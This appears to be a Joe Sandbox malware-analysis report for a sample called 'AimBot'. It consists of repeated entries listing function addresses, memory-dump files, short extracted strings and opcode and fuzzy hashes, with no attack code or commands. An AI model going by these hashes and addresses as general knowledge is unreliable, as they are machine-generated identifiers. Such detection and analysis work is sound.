Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f55b62a8045bb9c05186b0d67119f20ced24d609a62f2f1b555f8e5872cd7198
Instruction ID: c9105f57e018d0a4951ca15562ad3e3ecc59c0f8fd27cec275da35dcc0c87e68
Opcode Fuzzy Hash: f55b62a8045bb9c05186b0d67119f20ced24d609a62f2f1b555f8e5872cd7198
Instruction Fuzzy Hash:

Function 006DD286 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

@, xrefs: 006DD6A0

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 866ebb52bf16604feaf2ab10dc257f19b82bf9d821d97096fe7e6b2b6dd3fffa
Instruction ID: c90dc45e4c9ba1f27b0062f713b4713c78655220166ad715239e16a92957d595
Opcode Fuzzy Hash: 866ebb52bf16604feaf2ab10dc257f19b82bf9d821d97096fe7e6b2b6dd3fffa
Instruction Fuzzy Hash: BDA17671A083518FD314DF19C4943AAFBE2AFD8368F188A1EE4D95B391C775D846CB82

Function 006FF619 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

cBa, xrefs: 006FF65A

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: cBa
API String ID: 0-3995572646
Opcode ID: 7b35d0aefe8728cfc34eff25dce29b4cb19a18f53fb12a92c0015bcb0b7d2fc4
Instruction ID: d84040c3d7798df6b4244d868b1a10a7d6a61b0115c35b41f09f92a763fbae29
Opcode Fuzzy Hash: 7b35d0aefe8728cfc34eff25dce29b4cb19a18f53fb12a92c0015bcb0b7d2fc4
Instruction Fuzzy Hash: D05155B45083408BC710AF19D891B2BBBF6FF92754F14891CF5D49B3A1E37A9900CBA6

Function 00721D80 Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

/.-,, xrefs: 00721F53, 00721F5B

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: /.-,
API String ID: 0-4180950418
Opcode ID: 5ad8e18910c455c3c6d755f40f6cddb7ea85a724085fec911c0c58e3976f0e66
Instruction ID: 6f6544508d63fd3e0e0d98e672048cdab341d078b56af0305fb3906be97575e5
Opcode Fuzzy Hash: 5ad8e18910c455c3c6d755f40f6cddb7ea85a724085fec911c0c58e3976f0e66
Instruction Fuzzy Hash: D761E370A083519BD710DF54EC80B2AB7E6FBA4311F99892CF9D487292D778EC50CB52

Function 006FC290 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

Z;:5, xrefs: 006FC414

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: Z;:5
API String ID: 0-3738181873
Opcode ID: 62261983ea63e67052c3d61250d31998ada0ce01b2d9e2dccb1e56eb5c89ab56
Instruction ID: fb4f125ea8092e0a46bddd1c5d615ebf4a494de661ef07942f934589ad05675f
Opcode Fuzzy Hash: 62261983ea63e67052c3d61250d31998ada0ce01b2d9e2dccb1e56eb5c89ab56
Instruction Fuzzy Hash: F8519AB16093898BD730CF14C550BABB7E6EF96324F09495DE49A8B791E3349440CB97

Function 00720C30 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

/.-,, xrefs: 00720CF3, 00720CFB

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: /.-,
API String ID: 0-4180950418
Opcode ID: 0447d44f631490df2c69c362a1e8d2e43be6805d87ff49033701a4cfcb2ad997
Instruction ID: 67a578b02d9f36f83e4fc437258990f11f627b40a3d69f52e4e56f4fe2442403
Opcode Fuzzy Hash: 0447d44f631490df2c69c362a1e8d2e43be6805d87ff49033701a4cfcb2ad997
Instruction Fuzzy Hash: F251AF74609310ABC724AF54E894A2EBBE6EF85704F14892CE4C997253D339ED50CBB2

Function 00723752 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

@, xrefs: 007238BD

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f55ed7d871e0421b58eaa95f3b1abcd74020f3e3ce3d7cb6e242ab7d84b6d79a
Instruction ID: 8799b275b5f5f89ab32a6559deaec3691e2b3517fdc5a083b0693bbd6fb0c332
Opcode Fuzzy Hash: f55ed7d871e0421b58eaa95f3b1abcd74020f3e3ce3d7cb6e242ab7d84b6d79a
Instruction Fuzzy Hash: 745188B05083119FD704DF14E890B2AB7F2EF96745F44892CE1C59B2A2E33DDA44CB66

Function 006F2772 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

F, xrefs: 006F278C

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: d688b552daa2382f11100d015dcac091c2e5886f8f39c2ad552ece6f5ee028ac
Instruction ID: 2ccd83040c90b992d520bbf8fcbd9ec47f9247c6e3f168e2f79e9fb63436bc1d
Opcode Fuzzy Hash: d688b552daa2382f11100d015dcac091c2e5886f8f39c2ad552ece6f5ee028ac
Instruction Fuzzy Hash: 4F514C709083869BD311DF58C891A2FFBE6AF86384F14895CF58987362E3B4D849CB57

Function 006B1D65 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 006B1E87

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 096dea7811f2dc46956005331ebb7f75c82414a864522f2fec3421118f91ea57
Instruction ID: fccba9203ce8a9147bd4778e066bd09edae6cef9d5214226820f2df5245364f3
Opcode Fuzzy Hash: 096dea7811f2dc46956005331ebb7f75c82414a864522f2fec3421118f91ea57
Instruction Fuzzy Hash: 60410BB6E2052B5BDB4CEEB884560EEBB6AD746350B44427ADD10DF391E230CA42C7D4

Function 00726DD0 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

@, xrefs: 00726E38

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 24ad0fcd1ceda4031f25e059895dfce99be51d30ca74f47e1b0e7140216a6dcb
Instruction ID: 68f49f6f5f2bc8791aa99ccf5c6cf98e224dee42bb5b28f85a0b51863fb951b3
Opcode Fuzzy Hash: 24ad0fcd1ceda4031f25e059895dfce99be51d30ca74f47e1b0e7140216a6dcb
Instruction Fuzzy Hash: FC31AA759083549BC324DF18E880A2FFBF5FF99304F14892DE5C897291D339DA088BA6

Function 00708166 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

|{, xrefs: 00708191

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: |{
API String ID: 0-92572849
Opcode ID: 2ac85b1d28eb09bfe2e4c581768a9db7e8c339ec7b5548668a4b5f549d6576f0
Instruction ID: 7a5c7df363cde302e834b91f360f3ddce65a646edb4871f62547537cb39ccb82
Opcode Fuzzy Hash: 2ac85b1d28eb09bfe2e4c581768a9db7e8c339ec7b5548668a4b5f549d6576f0
Instruction Fuzzy Hash: C3214774808391CACB309F24D94066BB7F0BF96341F681E1DE9D867291DB39C840CB57

Function 006FE7C4 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

/.-,, xrefs: 006FE817, 006FE826

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: /.-,
API String ID: 0-4180950418
Opcode ID: bb4b2f4effd0b3e6e903d936a6d3e433b3a7ba87b24cfc54d304d4658ee6b77c
Instruction ID: cd31f3c172cf69206e2d4c130bdbf7075643dbf30cc5ca28f189e11ed01df194
Opcode Fuzzy Hash: bb4b2f4effd0b3e6e903d936a6d3e433b3a7ba87b24cfc54d304d4658ee6b77c
Instruction Fuzzy Hash: 97218BB05083858BC3709F10D889BAFB7E3FB85311F188A2CD19E97252DB35E8948B16

Function 006CC99D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 006CC99D

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 12e1669a9f8023985625b40217730068b0fcd09d86ec257da9cdc8854df99df4
Instruction ID: 16520074541504bfbd8ec515390023e1b636ff2c27242d014abd91169defef3b
Opcode Fuzzy Hash: 12e1669a9f8023985625b40217730068b0fcd09d86ec257da9cdc8854df99df4
Instruction Fuzzy Hash: F6A024F0703101CF5300CF305F0530C37DD55107C1310D0155104C0030D734C0404F11

Function 006E8070 Relevance: .8, Instructions: 799COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3247a27bb75f1fa42e7e4b42873237af84eed66ec30b187870b270d75b47bd69
Instruction ID: 6a4b9cebbb57becea9a054651f766aaf9627f938dcc5def2bf972f9fb6483c88
Opcode Fuzzy Hash: 3247a27bb75f1fa42e7e4b42873237af84eed66ec30b187870b270d75b47bd69
Instruction Fuzzy Hash: 0F42F3319093528FC725DF19D4802BAB3E2FFD4314F29892DD9CA97385DB34A855CB86

Function 006E3440 Relevance: .7, Instructions: 679COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f79f0be6de8b3a84c36d4c2bf6b456e6126742250f31b6b0d4c7788d82d65a
Instruction ID: c3756b95bec8ddcc60a86b471ce4136bf7576c5be399ca154d2b1781f7dbe7be
Opcode Fuzzy Hash: d4f79f0be6de8b3a84c36d4c2bf6b456e6126742250f31b6b0d4c7788d82d65a
Instruction Fuzzy Hash: 845205715093A58FCB15CF2AC0846EABBE2BF88304F198A6DF8D957341D774EA45CB81

Function 006E7560 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd39765ced412d32beecec0c0e3a6a6954003d9fedede47a9864abae1e2784c
Instruction ID: ede2424170d9d894e5db36e0fc8fa3b39452931d129c07817dad782feea4081b
Opcode Fuzzy Hash: 2fd39765ced412d32beecec0c0e3a6a6954003d9fedede47a9864abae1e2784c
Instruction Fuzzy Hash: 7C52C0B090DBC48FEB35CB25C4847E7BBE2AF91314F14886DC5EA06BC2C279A985C751

Function 006E3E80 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59d6ea25c50789bcf0fc1ef45963cce0b86a245306238de1d5f9b05cab7f9883
Instruction ID: 7b5e24fb41338ec6a0439569c7c17e4dc59ece22056a54124d1ae72f1e017958
Opcode Fuzzy Hash: 59d6ea25c50789bcf0fc1ef45963cce0b86a245306238de1d5f9b05cab7f9883
Instruction Fuzzy Hash: FE322570616B908FC368CF2AC59056ABBF2BF55710B604A2ED69787F90DB36F845CB10

Function 006E8D20 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 806b0118de07d8d69c581ecdee5528fbd2c5812bfc714dd6842aa2d275c261d3
Instruction ID: 1d4b5082da17ccc5aaa26910ebfe1d5f00e80c25ff4514f8b2e68f85faa2870e
Opcode Fuzzy Hash: 806b0118de07d8d69c581ecdee5528fbd2c5812bfc714dd6842aa2d275c261d3
Instruction Fuzzy Hash: 6BE12B71A097924FC3188E2AD8D025AFBD3AFC5320F69CB2DE8E9473D5D6389D058791

Function 006E64E0 Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e8c92245e9cf6e2b0ae521e078bb3d683e3ccd6b3076359e7d2fce459a7729d
Instruction ID: 06ba436e7dc036ade9ac69e0edb0821b3acdc5bea57310255a2652629b8d8cdc
Opcode Fuzzy Hash: 5e8c92245e9cf6e2b0ae521e078bb3d683e3ccd6b3076359e7d2fce459a7729d
Instruction Fuzzy Hash: CCF1AD716097818FC724CF29C881A6BBBE2FFA5304F04891DF4D947792E671E948CB96

Function 006DF740 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a0d22311b2462c36220d2b2ed7c8c7951211eefa828f5d7f62a136c52f6ec04
Instruction ID: bdf5afce2ff7ac5a4b7e96a9ac132f715c890ca274f618f30b32b81f07f56b01
Opcode Fuzzy Hash: 3a0d22311b2462c36220d2b2ed7c8c7951211eefa828f5d7f62a136c52f6ec04
Instruction Fuzzy Hash: D8E1F571E183119BC704CF29C88065EB7E6EBC8750F258A3EF89A97390E775DD058B86

Function 00724CF0 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
